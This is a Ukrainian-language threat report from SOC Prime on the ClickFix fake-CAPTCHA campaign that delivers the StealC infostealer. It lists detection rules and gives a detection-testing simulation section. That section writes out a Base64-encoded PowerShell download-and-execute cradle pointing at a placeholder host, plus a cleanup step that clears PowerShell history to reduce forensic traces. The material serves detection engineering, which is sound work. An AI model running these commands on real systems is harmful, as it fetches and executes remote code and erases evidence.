SOC Prime Bias: Середній

16 Feb 2026 14:47 UTC

Як ClickFix відкриває двері до прихованого StealC Information Stealer

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Як ClickFix відкриває двері до прихованого StealC Information Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Комплексне багатостадійне проникнення без використання файлів починається на скомпрометованому сайті в’єтнамського ресторану, де розміщено фальшивий CAPTCHA. Жертви підштовхуються до виконання PowerShell, який завантажує позиційно незалежний shellcode, який відбиває завантажувач 64-біт і вводить інформаційний стілкер StealC у svchost.exe. StealC збирає облікові дані браузера, дані гаманців криптовалюти, облікові дані Steam та Outlook, інформацію про хост та знімки екрана, а потім ексфільтрує через HTTP-трафік, зашифрований RC4.

Розслідування

Дослідники аналізували JavaScript та PowerShell завантажувачі, підтвердили використання фреймворку Donut shellcode та відстежували HTTP-запити завантажувача до URL-адрес, що належать зловмисникам. Стілець здається програмним забезпеченням як послуга, яке централізовано кероване з модульними функціями крадіжки та самознищення. Нотатки з полювання включають значення User-Agent ‘Loader’ та певні ключі реєстру, пов’язані з іниційованням і виконанням.

Захист

Рекомендовані заходи захисту включають обмеження або вимкнення вставки з буфера обміну в браузерах, посилення політики виконання PowerShell та сигнали на незвичайні рядки User-Agent. Додайте виявлення завантаження відбиваючих PE та ін’єкції процесу, а також забезпечте перевірку вихідного HTTP для доставки коректно закодованого на Base64 payload. Навчання користувачів щодо підроблених CAPTCHA-паст може бути використане як контроль, а не як після думки.

Відповідь

Якщо виявлено, ізолюйте кінцеву точку, зупиніть ін’єктований екземпляр svchost.exe, захопіть дампи пам’яті для аналізу shellcode і заблокуйте шкідливі домени/URL-адреси. Скиньте скомпрометовані облікові дані, перевірте артефакти реєстру та браузера на предмет впливу та стежте за залишковим трафіком C2.

Потік атаки

Виявлення

Можливе використання PING для виконання з затримкою (через cmdline)

Команда SOC Prime
16 лютого 2026

Підозріле завантаження файлів Direct IP (через проксі)

Команда SOC Prime
16 лютого 2026

LOLBAS wmic (через cmdline)

Команда SOC Prime
16 лютого 2026

Завантаження або вивантаження через Powershell (через cmdline)

Команда SOC Prime
16 лютого 2026

IOC (SourceIP) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer

Правила SOC Prime AI
16 лютого 2026

IOC (HashSha256) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer

Правила SOC Prime AI
16 лютого 2026

IOC (DestinationIP) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer

Правила SOC Prime AI
16 лютого 2026

Виявити активність в мережі StealC Information Stealer [Windows Network Connection]

Правила SOC Prime AI
16 лютого 2026

Виявити ін’єкцію процесу через StealC у svchost.exe [Windows Process Creation]

Правила SOC Prime AI
16 лютого 2026

PowerShell EncodedCommand і iex(irm) виявлено [Windows Powershell]

Правила SOC Prime AI
16 лютого 2026

Виконання симуляції

Передумова: Попередній зліт та базовий перевірки телеметрії повинні були бути пройдені.

Обґрунтування: Цей розділ детально описує точне виконання методики супротивника (TTP), розробленої для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені методи та мати на меті генерувати точну телеметрію, очікувану логікою виявлення.

  • Опис атаки та команди:

    Атакуючий отримує фішинг-лист, що містить коротку URL-адресу. Мета – встановити віддалений PowerShell бекдор, не сповіщуючи користувача. Атакуючий створює payload для PowerShell у форматі Base64, який завантажує шкідливий скрипт з сервера C2 і негайно виконує його за допомогою iex(irm…). Використовуючи -EncodedCommand перемикач, атакуючий приховує фактичні команди від випадкового огляду, і iex(irm…) шаблон напряму відповідає правилу виявлення.

    1. Створити шкідливий скрипт (payload.ps1) розміщено на http://malicious.example.com/payload.ps1.

    2. Закодуйте команду запуску:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # це значення використовується на наступному етапі
    3. Виконайте закодовану команду на цільовому об’єкті:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    Це генерує подію Sysmon ProcessCreate, де CommandLine містить -EncodedCommand and декодований текст включає iex(irm…), що відповідає правилу Sigma.

  • Скрипт регресійного тестування:

    #-----------------------------------------------------------
    # Скрипт моделювання – Спрацьовує PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Вкажіть URL-адресу шкідливого скрипту (замініть на ваш тестовий сервер)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Створіть однорядкову команду, що завантажує та виконує скрипт
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Закодуйте команду в Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Запустіть PowerShell із закодованою командою
    Write-Host "Виконання закодованої команди..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Симуляція завершена."
  • Команди очищення:

    # Видаліть будь-які тимчасові файли, створені шкідливим навантаженням (якщо такі є)
    # Приклад: видаліть завантажений скрипт, якщо він був збережений локально
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Видалено тимчасове навантаження."
    }
    
    # За бажанням, очистіть історію PowerShell для зменшення судової слідової роботи
    Clear-History